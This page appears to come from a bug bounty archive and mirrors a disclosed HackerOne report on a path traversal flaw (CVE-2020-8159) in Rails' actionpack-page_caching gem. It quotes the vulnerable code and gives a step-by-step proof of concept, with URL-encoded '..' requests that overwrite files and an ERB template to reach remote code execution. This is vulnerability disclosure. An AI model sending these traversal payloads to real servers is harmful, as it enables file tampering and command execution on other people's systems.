Skip to content
Path traversal Disclosed report Intermediate CVE-2020-8159

File writing by Directory traversal at actionpack-page_caching and RCE by it

The actionpack-page_caching gem did not sanitise URL paths when constructing cache file paths, allowing directory traversal. An attacker could write cache files to arbitrary locations, potentially overwriting files and achieving remote code execution by overwriting ERB templates.

ooooooo_q Follow

Originally disclosed on HackerOne

Bounty$1,000 High View original
  • Fixed in 13 months
  • Paid in 21 months
  • Disclosed after 15 months

I found a directory traversal in actionpack-page_caching. Some code may lead to RCE.

https://github.com/rails/actionpack-page_caching/blob/master/lib/action_controller/caching/pages.rb#L143

Ruby
  def cache_file(path, extension)
    if path.empty? || path =~ %r{\A/+\z}
      name = "/index"
    else
      name = URI.parser.unescape(path.chomp("/"))
    end

    if File.extname(name).empty?
      name + (extension || default_extension)
    else
      name
    end
  end

  def cache_path(path, extension = nil)
    File.join(cache_directory, cache_file(path, extension))
  end

The problem is that traversal is not considered in cache_path or cache_file. Since the URL can use . or/encoded values, the cache will be written in an unexpected place.

PoC

step 1. Prepare server

LOG
ruby -v

rails -v

rails new caching_traversal

cd caching_traversal

# add `gem "actionpack-page_caching"` in Gemfile

bundle install

rails generate scaffold book name:string
rails db:migrate

step 2. Setting cache

Enable caching.

LOG
rails dev:cache

Add caches_page.

Ruby
# app/controllers/books_contorller.rb
class BooksController < ApplicationController
  before_action :set_book, only: [:show, :edit, :update, :destroy]

  caches_page :show

step 3. Start server

Start the server with "rails s".

Prepare a book with the following name.

<% `toouch me` %>

Check cache behavior.

LOG
❯ curl "http://localhost:3000/books/1"
<!DOCTYPE html>
...
<p>
  <strong>Name:</strong>
  &lt;% `touch me` %&gt;
</p>
...

❯ ls public
404.html  500.html                          apple-touch-icon.png  favicon.ico
422.html  apple-touch-icon-precomposed.png  books                 robots.txt

❯ cat public/books/1.html
<!DOCTYPE html>
...
<p>
  <strong>Name:</strong>
  &lt;% `touch me` %&gt;
</p>
...

step 4. Attack

Add an attack code to the pass and check the result.

LOG
❯ curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftest"

# test file is generated
❯ ls
app  config     db       Gemfile.lock  log           public    README.md  test       tmp
bin  config.ru  Gemfile  lib           package.json  Rakefile  storage    test.html  vendor


❯ curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fREADME%2emd"

# If the file exists it will be overwritten
❯ cat README.md
...
<p>
  <strong>Name:</strong>
  &lt;% `touch me` %&gt;
</p>
...

step 5. RCE

RCE is possible if it is possible to create a cache where the value of <% is not escaped, like render for text.

Generate the file app/views/books/show.text.erb as follows:

name: <%= @ book.name %>

Overwriting erb files enables RCE.

LOG
# overwrite erb
❯ curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fapp%2fviews%2fbooks%2fshow%2etext%2eerb?format=text"
name: <% `touch me` %>

❯ cat app/views/books/show.text.erb
name: <% `touch me` %>


# executed `touch me`
❯ curl "http://localhost:3000/books/1.txt"
name:

# me file is generated
❯ ls
app  config     db       Gemfile.lock  log  package.json  Rakefile   storage  test.html  vendor
bin  config.ru  Gemfile  lib           me   public        README.md  test     tmp

Impact

The cache is generated on an unintended path. Also, RCE may be possible.

The original report as published on HackerOne, by ooooooo_q. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The cache is generated on an unintended path, and RCE may be possible.

What the attacker needed

Rails app using actionpack-page_caching; Page caching enabled; Attacker can send crafted HTTP requests

How it was found

  1. Set up a Rails app with the actionpack-page_caching gem and enable caching.
  2. Add caches_page :show to a controller.
  3. Start the server and create a book record.
  4. Send a request with a path traversal payload in the URL to write a file outside the cache directory.
  5. Overwrite an ERB template file with malicious content.
  6. Request the cached page to execute the injected code.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Page caching saves a copy of a web page as a file on the server. The gem built the file path from the URL without checking for '..' sequences, so an attacker could use a crafted URL to make the server write a file outside the intended cache folder. This could overwrite important files and, in some cases, let the attacker run commands on the server.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by ooooooo_q

View all

53 more disclosed reports, best first.

More from Ruby on Rails

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.